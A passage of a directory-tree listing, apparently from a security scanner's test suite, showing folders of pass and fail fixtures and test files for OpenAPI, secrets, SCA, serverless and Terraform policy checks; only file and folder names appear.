│ │ │ ├── test_ClearTextAPIKey.py │ │ │ │ ├── test_GlobalSecurityFieldIsEmpty.py │ │ │ │ ├── test_NoMaximumNumberItems.py │ │ │ │ └── test_SecurityOperations.py │ │ │ ├── v2/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_GlobalSchemeDefineHTTP/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_GlobalSecurityScopeUndefined/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail1.json │ │ │ │ │ ├── fail1.yaml │ │ │ │ │ ├── pass1.json │ │ │ │ │ └── pass1.yaml │ │ │ │ ├── example_Oauth2OperationObjectPasswordFlow/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_Oauth2SecurityDefinitionImplicitFlow/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_Oauth2SecurityDefinitionPasswordFlow/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_Oauth2SecurityPasswordFlow/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_Oauth2SecurityRequirement/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── fail2.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_OperationObjectBasicAuth/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_OperationObjectConsumesUndefined/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_OperationObjectImplicitFlow/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_OperationObjectProducesUndefined/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_OperationObjectSecurityScopeUndefined/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail1.json │ │ │ │ │ ├── fail1.yaml │ │ │ │ │ ├── pass1.json │ │ │ │ │ ├── pass1.yaml │ │ │ │ │ ├── pass2.json │ │ │ │ │ └── pass2.yaml │ │ │ │ ├── example_PathSchemeDefineHTTP/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ ├── pass.yaml │ │ │ │ │ └── pass2.yaml │ │ │ │ ├── example_SecurityDefinitionBasicAuth/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_SecurityDefinitions/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail1.json │ │ │ │ │ ├── fail1.yaml │ │ │ │ │ ├── fail2.json │ │ │ │ │ ├── fail2.yaml │ │ │ │ │ ├── pass1.json │ │ │ │ │ └── pass1.yaml │ │ │ │ └── example_SecurityRequirement/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail1.yaml │ │ │ │ ├── fail2.json │ │ │ │ ├── fail2.yaml │ │ │ │ ├── pass1.json │ │ │ │ ├── pass1.yaml │ │ │ │ ├── pass2.json │ │ │ │ ├── pass2.yaml │ │ │ │ └── pass3.json │ │ │ └── v3/ │ │ │ ├── __init__.py │ │ │ ├── example_CleartextCredsOverUnencryptedChannel/ │ │ │ │ ├── fail.json │ │ │ │ ├── fail.yaml │ │ │ │ ├── pass.json │ │ │ │ ├── pass.yaml │ │ │ │ ├── pass2.json │ │ │ │ ├── pass2.yaml │ │ │ │ ├── pass3.json │ │ │ │ └── pass3.yaml │ │ │ └── test_CleartextCredsOverUnencryptedChannel.py │ │ └── test_python_policies.py │ └── runner/ │ ├── __init__.py │ ├── resources/ │ │ ├── runner_results/ │ │ │ ├── results.sarif │ │ │ └── unrealted_yaml.yaml │ │ ├── v2/ │ │ │ ├── example.json │ │ │ ├── example.yaml │ │ │ ├── example.yml │ │ │ ├── example1.json │ │ │ ├── incompatible_json.json │ │ │ ├── invalid.json │ │ │ └── swagger_empty_paths.yaml │ │ └── v3/ │ │ ├── example.json │ │ ├── example.yaml │ │ ├── example1.json │ │ └── example1.yaml │ └── test_runner.py ├── parallel/ │ ├── __init__.py │ └── test_parallel.py ├── policies_3d/ │ ├── __init__.py │ ├── conftest.py │ ├── syntax/ │ │ ├── cves_syntax/ │ │ │ └── test_cves_syntax.py │ │ ├── iac_syntax/ │ │ │ └── test_iac_syntax.py │ │ └── test_predicament.py │ ├── test_output.py │ ├── test_parser.py │ └── test_runner.py ├── sast/ │ ├── __init__.py │ ├── checks/ │ │ ├── python_rule.yaml │ │ └── temp_parsed_rules/ │ │ └── temp_semgrep_rules.yaml │ ├── external_checks/ │ │ └── v01/ │ │ ├── SuperuserPort.yaml │ │ └── java_rule.yaml │ ├── source_code/ │ │ ├── __init__.py │ │ ├── external_check/ │ │ │ ├── fail.java │ │ │ └── fail.py │ │ └── js_filtered_build_ts/ │ │ ├── example1/ │ │ │ ├── app.ts │ │ │ └── tsconfig.json │ │ ├── example2/ │ │ │ ├── app.ts │ │ │ ├── needTScan/ │ │ │ │ └── app.js │ │ │ └── tsconfig.json │ │ └── example3/ │ │ ├── main.js │ │ └── main.ts │ ├── test_filter_files_manager.py │ ├── test_report.py │ └── test_runner.py ├── sca_image/ │ ├── __init__.py │ ├── conftest.py │ ├── examples/ │ │ ├── .github/ │ │ │ └── workflows/ │ │ │ └── vulnerable_container.yaml │ │ ├── dockerfile/ │ │ │ └── Dockerfile │ │ └── kubernetes/ │ │ └── deployment.yaml │ ├── mocks.py │ ├── outputs/ │ │ └── results_cyclonedx.xml │ ├── test_output_reports.py │ └── test_runner.py ├── sca_package_2/ │ ├── __init__.py │ ├── conftest.py │ ├── examples/ │ │ ├── Microsoft.NET.Sdk.csproj │ │ ├── go.mod │ │ ├── go.sum │ │ ├── package.json │ │ └── requirements.txt │ ├── outputs/ │ │ ├── cli_outputs/ │ │ │ └── test_create_cli_table_for_package_with_reachability_data.txt │ │ ├── results_cyclonedx_1_0.xml │ │ ├── results_cyclonedx_1_1.xml │ │ ├── results_cyclonedx_1_2.xml │ │ ├── results_cyclonedx_1_3.xml │ │ ├── results_cyclonedx_1_4.xml │ │ └── results_cyclonedx_with_comma_in_licenses.xml │ ├── test_output.py │ ├── test_output_reports.py │ ├── test_runner.py │ └── test_runner_dependency_tree.py ├── secrets/ │ ├── __init__.py │ ├── build_log_prefix/ │ │ └── plain_private_key.txt │ ├── conftest.py │ ├── custom_and_entropy/ │ │ └── main.tf │ ├── custom_regex_detector/ │ │ └── Dockerfile │ ├── git_history/ │ │ ├── __init__.py │ │ ├── test_utils.py │ │ └── testing_repo/ │ │ ├── README.md │ │ ├── foobar.py │ │ ├── git_to_change/ │ │ │ ├── COMMIT_EDITMSG │ │ │ ├── HEAD │ │ │ ├── config │ │ │ ├── description │ │ │ ├── hooks/ │ │ │ │ ├── applypatch-msg.sample │ │ │ │ ├── commit-msg.sample │ │ │ │ ├── fsmonitor-watchman.sample │ │ │ │ ├── post-update.sample │ │ │ │ ├── pre-applypatch.sample │ │ │ │ ├── pre-commit.sample │ │ │ │ ├── pre-merge-commit.sample │ │ │ │ ├── pre-push.sample │ │ │ │ ├── pre-rebase.sample │ │ │ │ ├── pre-receive.sample │ │ │ │ ├── prepare-commit-msg.sample │ │ │ │ ├── push-to-checkout.sample │ │ │ │ └── update.sample │ │ │ ├── index │ │ │ ├── info/ │ │ │ │ └── exclude │ │ │ ├── logs/ │ │ │ │ ├── HEAD │ │ │ │ └── refs/ │ │ │ │ └── heads/ │ │ │ │ ├── master │ │ │ │ └── test_git │ │ │ ├── objects/ │ │ │ │ ├── 29/ │ │ │ │ │ └── 22a3a6792a04710b79f8a36d25999c9132adb0 │ │ │ │ ├── 2c/ │ │ │ │ │ └── eb8230f2e2b563cf667ec2acc45eee95be9f94 │ │ │ │ ├── 45/ │ │ │ │ │ └── eb17330f88d105e18520b624cafd35778f4d69 │ │ │ │ ├── 51/ │ │ │ │ │ └── 8bf059756d932da372d77ca9a4a9371c2d210d │ │ │ │ ├── 56/ │ │ │ │ │ └── a8b042461d934c13fd3bbec446aaab37479181 │ │ │ │ ├── 57/ │ │ │ │ │ └── 4e4e06ab81938095bd5f35412b3da3d47393e4 │ │ │ │ ├── 6e/ │ │ │ │ │ └── d0de5eedd5d5d3fbee78e708604d7271ba952c │ │ │ │ ├── 77/ │ │ │ │ │ └── 9153df7f6636c0e4cb625b5e39dc088b061924 │ │ │ │ ├── 7d/ │ │ │ │ │ └── a2a86863a535ea355b8c8cd7525e2cb2f922d0 │ │ │ │ ├── 81/ │ │ │ │ │ └── 47cdd7190b6f25c61f3f911d1c1d4f3f9a336d │ │ │ │ ├── 8b/ │ │ │ │ │ └── fb94d8d2cdbac5d789409768f6d02a81e305a0 │ │ │ │ ├── 96/ │ │ │ │ │ └── 7d3bf7bdb1a5d8fd5e419d8fe47d754a156237 │ │ │ │ ├── 9e/ │ │ │ │ │ └── 823e1d049f39db026ba46ca34757613ba59e55 │ │ │ │ ├── ce/ │ │ │ │ │ └── 2549b85dff66121ab2ef685f043e86e7241614 │ │ │ │ └── e9/ │ │ │ │ └── 5677e839e67e685138aeba087d7deec0879919 │ │ │ └── refs/ │ │ │ └── heads/ │ │ │ ├── master │ │ │ └── test_git │ │ ├── main.py │ │ └── pass.py │ ├── json_multiline/ │ │ ├── pomerium_compose.json │ │ └── test-multiline-secrets.json │ ├── long_line_custom_regex_detector/ │ │ └── Dockerfile │ ├── masking_secrets/ │ │ ├── assets_report_with_pass.json │ │ └── findings_report_with_pass.json │ ├── multiline_custom_regex_detector/ │ │ └── Dockerfile.mine │ ├── multiline_finding/ │ │ └── Dockerfile.mine │ ├── omit_multiple_secrets/ │ │ └── test/ │ │ └── multiple_secrets_one_line.txt │ ├── resources/ │ │ ├── cfn/ │ │ │ ├── secret-no-false-positive.yml │ │ │ ├── secret-no-false-positive2.yml │ │ │ └── secret.yml │ │ ├── file_type/ │ │ │ ├── Dockerfile │ │ │ ├── Dockerfile.simple │ │ │ ├── test.py │ │ │ └── test.ts │ │ ├── k8s/ │ │ │ └── secret-name.yaml │ │ ├── terraform/ │ │ │ └── main.tf │ │ ├── terraform_failed/ │ │ │ └── main.tf │ │ └── terraform_skip/ │ │ └── main.tf │ ├── sanity/ │ │ ├── iac_fp/ │ │ │ ├── main.json │ │ │ └── main.tf │ │ ├── non_iac_fp/ │ │ │ └── a.py │ │ ├── non_secrets/ │ │ │ └── true_negative.json │ │ └── secrets/ │ │ └── true_positive.json │ ├── skip_test/ │ │ ├── skip_test1/ │ │ │ ├── skip1.json │ │ │ ├── skip2.json │ │ │ └── skip_test2/ │ │ │ ├── skip1.json │ │ │ └── skip2.json │ │ └── skip_test2/ │ │ ├── skip1.json │ │ └── skip2.json │ ├── suppressions/ │ │ ├── metadata_suppression.yaml │ │ ├── metadata_suppression_array.json │ │ └── metadata_suppression_object.json │ ├── terraform_multiline/ │ │ ├── cfn_heredoc.tf │ │ ├── data.tf │ │ ├── ecs_heredoc.tf │ │ ├── ecs_jsonencode.tf │ │ └── pod.tf │ ├── test_coordinator.py │ ├── test_entropy_source_files/ │ │ └── db-conn.js │ ├── test_load_detectors.py │ ├── test_log_prefix_stripper.py │ ├── test_masking_secrets.py │ ├── test_multiline_finding_line_number.py │ ├── test_multiline_parser_json.py │ ├── test_multiline_parser_yml.py │ ├── test_plugin.py │ ├── test_plugin_multiline_json.py │ ├── test_plugin_multiline_terraform.py │ ├── test_plugin_multiline_yml.py │ ├── test_prioritise_secrets.py │ ├── test_runner.py │ ├── test_secret_git_history.py │ ├── test_secrets_verification.py │ ├── test_secrets_verification_suppressions.py │ ├── test_skip_check_in_json.py │ ├── test_utils.py │ ├── test_vault_secrets.py │ ├── utils_for_test.py │ └── yml_multiline/ │ ├── pomerium_compose.yml │ └── test-multiline-secrets.yml ├── serverless/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── aws/ │ │ │ ├── __init__.py │ │ │ ├── example_AWSCredentials/ │ │ │ │ ├── AWSCredentials-FAILED-func_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AWSCredentials-FAILED-provider_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ └── AWSCredentials-PASSED/ │ │ │ │ └── serverless.yml │ │ │ ├── example_AdminPolicyDocument/ │ │ │ │ ├── AdminPolicyDocument-FAILED-func_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AdminPolicyDocument-FAILED-provider_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AdminPolicyDocument-FAILED-provider_level_with_env_var/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AdminPolicyDocument-FAILED-provider_level_with_ext_json_var/ │ │ │ │ │ ├── customVars.json │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AdminPolicyDocument-FAILED-provider_level_with_ext_yaml_var/ │ │ │ │ │ ├── customVars.yml │ │ │ │ │ └── serverless.yml │ │ │ │ ├── AdminPolicyDocument-FAILED-provider_level_with_var/ │ │ │ │ │ └── serverless.yml │ │ │ │ └── AdminPolicyDocument-PASSED/ │ │ │ │ └── serverless.yml │ │ │ ├── example_S3PublicACLRead/ │ │ │ │ ├── S3PublicACLRead-FAILED/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── S3PublicACLRead-PASSED/ │ │ │ │ │ └── serverless.yml │ │ │ │ └── S3PublicACLRead-PASSED-incl/ │ │ │ │ ├── resources.yaml │ │ │ │ └── serverless.yml │ │ │ ├── example_StarActionPolicyDocument/ │ │ │ │ ├── StarActionPolicyDocument-FAILED-func_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── StarActionPolicyDocument-FAILED-provider_level/ │ │ │ │ │ └── serverless.yml │ │ │ │ ├── StarActionPolicyDocument-PASSED/ │ │ │ │ │ └── serverless.yml │ │ │ │ └── StarActionPolicyDocument-PASSED-2/ │ │ │ │ └── serverless.yml │ │ │ ├── test_AWSCredentials.py │ │ │ ├── test_AdminPolicyDocument.py │ │ │ ├── test_S3PublicACLRead.py │ │ │ └── test_StarActionPolicyDocument.py │ │ ├── example_CheckTypes/ │ │ │ └── serverless.yml │ │ ├── example_WildcardEntities/ │ │ │ └── serverless.yml │ │ ├── test_check_types.py │ │ └── test_wildcard_entities.py │ ├── graph_builder/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── serverless.yaml │ │ │ └── serverless.yml │ │ └── test_local_graph.py │ ├── runner/ │ │ ├── __init__.py │ │ ├── example_with_resources_from_file/ │ │ │ ├── Resources.yaml │ │ │ └── serverless.yaml │ │ ├── resources/ │ │ │ ├── serverless.yaml │ │ │ └── serverless.yml │ │ └── test_runner.py │ ├── test_parser.py │ └── test_scanner_registry.py ├── terraform/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── data/ │ │ │ ├── __init__.py │ │ │ ├── aws/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_AdminPolicyDocument/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSplainingCredentialsExposure/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSplainingDataExfiltration/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSplainingPrivilegeEscalation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudsplainingIAMWrite/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudsplainingPermissionsManagement/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GithubActionsOIDCTrustPolicy/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── tfplan.json │ │ │ │ ├── example_IAMManagedAdminPolicy/ │ │ │ │ │ └── IAMManagedAdminPolicy.tf │ │ │ │ ├── example_IAMPublicActionsPolicy/ │ │ │ │ │ └── public_actions.tf │ │ │ │ ├── example_ModuleProvider/ │ │ │ │ │ ├── example/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ResourcePolicyDocument/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StarActionPolicyDocument/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WhoAMI/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_module_with_one_provider/ │ │ │ │ │ ├── example/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_provider_edge_case/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── nesting/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ ├── nesting_l2/ │ │ │ │ │ │ │ └── main.tf │ │ │ │ │ │ └── nesting_l2_2/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ ├── nesting_2/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── readme.md │ │ │ │ ├── example_provider_with_nested_module/ │ │ │ │ │ ├── example/ │ │ │ │ │ │ ├── example2/ │ │ │ │ │ │ │ └── main.tf │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_provider_with_nested_module_assign_provider/ │ │ │ │ │ ├── example/ │ │ │ │ │ │ ├── example2/ │ │ │ │ │ │ │ └── main.tf │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_provider_without_module/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_AdminPolicyDocument.py │ │ │ │ ├── test_CloudSplainingCredentialsExposure.py │ │ │ │ ├── test_CloudSplainingDataExfiltration.py │ │ │ │ ├── test_CloudSplainingPrivilegeEscalation.py │ │ │ │ ├── test_CloudsplainingIAMWrite.py │ │ │ │ ├── test_CloudsplainingPermissionsManagement.py │ │ │ │ ├── test_GithubActionsOIDCTrustPolicy.py │ │ │ │ ├── test_IAMManagedAdminPolicy.py │ │ │ │ ├── test_IAMPublicActionsPolicy.py │ │ │ │ ├── test_ModuleProvider.py │ │ │ │ ├── test_ResourcePolicyDocument.py │ │ │ │ ├── test_StarActionPolicyDocument.py │ │ │ │ └── test_WhoAMI.py │ │ │ ├── example_external_dir/ │ │ │ │ └── extra_checks/ │ │ │ │ ├── DummyExternalDataCheck.py │ │ │ │ └── __init__.py │ │ │ ├── external/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_external_data/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── wrapper.py │ │ │ │ ├── external_check/ │ │ │ │ │ ├── ExternalData.py │ │ │ │ │ └── __init__.py │ │ │ │ └── test_external_data.py │ │ │ ├── gcp/ │ │ │ │ ├── example_GooglePolicyIsPrivate/ │ │ │ │ │ └── main.tf │ │ │ │ └── test_GooglePolicyIsPrivate.py │ │ │ ├── test_base_data_check.py │ │ │ └── test_registry.py │ │ ├── example_WildcardEntities/ │ │ │ └── main.tf │ │ ├── module/ │ │ │ ├── __init__.py │ │ │ ├── generic/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_RevisionHash/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RevisionVersionTag/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_RevisionHash.py │ │ │ │ └── test_RevisionVersionTag.py │ │ │ └── registry/ │ │ │ ├── __init__.py │ │ │ ├── example_external_dir/ │ │ │ │ └── extra_checks/ │ │ │ │ ├── ModuleCheck.py │ │ │ │ └── __init__.py │ │ │ ├── example_external_dir_with_module_version_check/ │ │ │ │ └── extra_checks/ │ │ │ │ ├── ModuleSourceHashCheck.py │ │ │ │ ├── ModuleVersionCheck.py │ │ │ │ └── __init__.py │ │ │ ├── resources/ │ │ │ │ └── main.tf │ │ │ ├── test_ModuleCheck.py │ │ │ └── test_registry.py │ │ ├── provider/ │ │ │ ├── __init__.py │ │ │ ├── aws/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ ├── bridgecrew/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ ├── linode/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ ├── ncp/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ ├── oci/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ ├── openstack/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_credentials.py │ │ │ └── panos/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ └── api_key/ │ │ │ │ ├── fail1.tf │ │ │ │ ├── fail2.tf │ │ │ │ ├── pass.tf │ │ │ │ └── variables.tf │ │ │ └── test_credentials.py │ │ ├── resource/ │ │ │ ├── __init__.py │ │ │ ├── alicloud/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ALBACLIsUnrestricted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayProtocolHTTPS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AbsSecurityGroupUnrestrictedIngress/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ActionTrailLogAllEvents/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ActionTrailLogAllRegions/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DiskEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DiskIsEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_K8sEnableNetworkPolicies/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_K8sNodePoolAutoRepair/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KMSKeyIsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KMSKeyRotationIsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LaunchTemplateDisksAreEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LogAuditRDSEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MongoDBInsideVPC/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MongoDBInstanceSSL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MongoDBIsPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MongoDBTransparentDataEncryptionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OSSBucketAccessLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OSSBucketEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OSSBucketPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OSSBucketTransferAcceleration/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_OSSBucketVersioning/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyExpiration/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyLength/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyLowercaseLetter/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyMaxLogin/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyNumber/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyReuse/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicySymbol/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PasswordPolicyUppcaseLetter/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RAMSecurityEnforceMFA/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceAutoUpgrade/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceLogConnections/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceLogDisconnections/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceLogsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceSSL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSIsPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSRetention/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSTransparentDataEncryptionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TLSPoliciesAreSecure/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ALBACLIsUnrestricted.py │ │ │ │ ├── test_APIGatewayProtocolHTTPS.py │ │ │ │ ├── test_ActionTrailLogAllEvents.py │ │ │ │ ├── test_ActionTrailLogAllRegions.py │ │ │ │ ├── test_DiskEncryptedWithCMK.py │ │ │ │ ├── test_DiskIsEncrypted.py │ │ │ │ ├── test_K8sEnableNetworkPolicies.py │ │ │ │ ├── test_K8sNodePoolAutoRepair.py │ │ │ │ ├── test_KMSKeyIsEnabled.py │ │ │ │ ├── test_KMSKeyRotationIsEnabled.py │ │ │ │ ├── test_LaunchTemplateDiskAreEncrypted.py │ │ │ │ ├── test_LogAuditRDSEnabled.py │ │ │ │ ├── test_MongoDBInsideVPC.py │ │ │ │ ├── test_MongoDBInstanceSSL.py │ │ │ │ ├── test_MongoDBIsPublic.py │ │ │ │ ├── test_MongoDBTransparentDataEncryption.py │ │ │ │ ├── test_OSSBucketAccessLogs.py │ │ │ │ ├── test_OSSBucketEncryptedWithCMK.py │ │ │ │ ├── test_OSSBucketTransferAcceleration.py │ │ │ │ ├── test_OSSBucketVersioning.py │ │ │ │ ├── test_PasswordPolicyExpiration.py │ │ │ │ ├── test_PasswordPolicyLength.py │ │ │ │ ├── test_PasswordPolicyLowercaseLetter.py │ │ │ │ ├── test_PasswordPolicyMaxLogin.py │ │ │ │ ├── test_PasswordPolicyNumber.py │ │ │ │ ├── test_PasswordPolicyReuse.py │ │ │ │ ├── test_PasswordPolicySymbol.py │ │ │ │ ├── test_PasswordPolicyUppcaseLetter.py │ │ │ │ ├── test_RAMSecurityEnforceMFA.py │ │ │ │ ├── test_RDSInstanceAutoUpgrade.py │ │ │ │ ├── test_RDSInstanceLogConnections.py │ │ │ │ ├── test_RDSInstanceLogDisconnections.py │ │ │ │ ├── test_RDSInstanceLogsEnabled.py │ │ │ │ ├── test_RDSInstanceSSL.py │ │ │ │ ├── test_RDSIsPublic.py │ │ │ │ ├── test_RDSRetention.py │ │ │ │ ├── test_RDSTransparentDataEncryption.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress22.py │ │ │ │ ├── test_SecurityGroupUnrestrictedIngress3389.py │ │ │ │ └── test_TLSPoliciesAreSecure.py │ │ │ ├── aws/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ACMCertCreateBeforeDestroy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ACMCertSetLoggingPreference/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ALBDesyncMode/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ALBDropHttpHeaders/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AMICopyIsEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AMICopyUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AMIEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AMILaunchIsShared/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayCacheEnable/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayCreateBeforeDestroy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayDeploymentCreateBeforeDestroy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayDomainNameTLS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayMethodSettingsCacheEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayMethodSettingsCacheEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayMethodSettingsDataTrace/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_APIGatewayV2RouteDefinesAuthorizationType/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AWSCodeGuruHasCMK/ │ │ │ │ │ └── AWSCodeGuruHasCMK.tf │ │ │ │ ├── example_AppFlowConnectorProfileUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppFlowUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppSyncFieldLevelLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppSyncLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppsyncAPICacheEncryptionAtRest/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AppsyncAPICacheEncryptionInTransit/ │ │ │ 